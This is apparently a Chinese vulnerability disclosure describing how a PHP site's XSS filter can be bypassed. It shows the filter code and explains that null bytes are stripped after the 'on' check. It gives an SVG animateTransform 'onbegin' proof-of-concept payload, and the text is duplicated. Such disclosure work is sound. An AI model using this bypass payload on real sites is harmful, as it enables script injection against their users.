### 简要描述: 继昨天修复的过滤方法,再来一发。。 ### 详细说明: 看了一下昨天修复的代码,就是在第二个字符处添加了一个<x>,于是各种焦头烂额都不行了。。再次研究上下的代码: ``` function uhtml($str) { $farr = array( "/\\s+/", //过滤多余的空白 "/<(\\/?)(script|i?frame|style|html|body|title|link|meta|\\?|\\%)([^>]*?)>/isU", "/(<[^>]*)on[a-zA-Z]+\\s*=([^>]*>)/isU", ); $tarr = array( " ", " ", "\1\2", ); $str = preg_replace( $farr,$tarr,$str); //return $str; return remove_xss($str); } ``` 这里把on事件过滤的死死的。。只有想办法绕过on 发现remove_xss里面有这样一句: ``` $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); ``` 将%00等的字符替换为空了!!于是o%00nxxx=xxx在过滤后就变成了onxxx=xxx 又发现onbegin、onend没有在过滤的关键词中,于是出现了如下绕过的代码: ``` <svg><animateTransform attributeName=transform o%00nbegin=alert(/UncleJim/)> ``` 过滤后就变为: ``` <svg><animateTransform attributeName=transform onbegin=alert(/UncleJim/)> ``` ### 漏洞证明: 火狐下有效。 [<img src="https://images.seebug.org/upload/201408/0816494342ac1e33d72cedcd1317c093329e37d4.jpg" alt="1.jpg" width="600"...
### 简要描述: 继昨天修复的过滤方法,再来一发。。 ### 详细说明: 看了一下昨天修复的代码,就是在第二个字符处添加了一个<x>,于是各种焦头烂额都不行了。。再次研究上下的代码: ``` function uhtml($str) { $farr = array( "/\\s+/", //过滤多余的空白 "/<(\\/?)(script|i?frame|style|html|body|title|link|meta|\\?|\\%)([^>]*?)>/isU", "/(<[^>]*)on[a-zA-Z]+\\s*=([^>]*>)/isU", ); $tarr = array( " ", " ", "\1\2", ); $str = preg_replace( $farr,$tarr,$str); //return $str; return remove_xss($str); } ``` 这里把on事件过滤的死死的。。只有想办法绕过on 发现remove_xss里面有这样一句: ``` $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); ``` 将%00等的字符替换为空了!!于是o%00nxxx=xxx在过滤后就变成了onxxx=xxx 又发现onbegin、onend没有在过滤的关键词中,于是出现了如下绕过的代码: ``` <svg><animateTransform attributeName=transform o%00nbegin=alert(/UncleJim/)> ``` 过滤后就变为: ``` <svg><animateTransform attributeName=transform onbegin=alert(/UncleJim/)> ``` ### 漏洞证明: 火狐下有效。 [<img src="https://images.seebug.org/upload/201408/0816494342ac1e33d72cedcd1317c093329e37d4.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/0816494342ac1e33d72cedcd1317c093329e37d4.jpg) [<img src="https://images.seebug.org/upload/201408/081651300303b3e869991da9db077ea028cd961c.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/081651300303b3e869991da9db077ea028cd961c.jpg)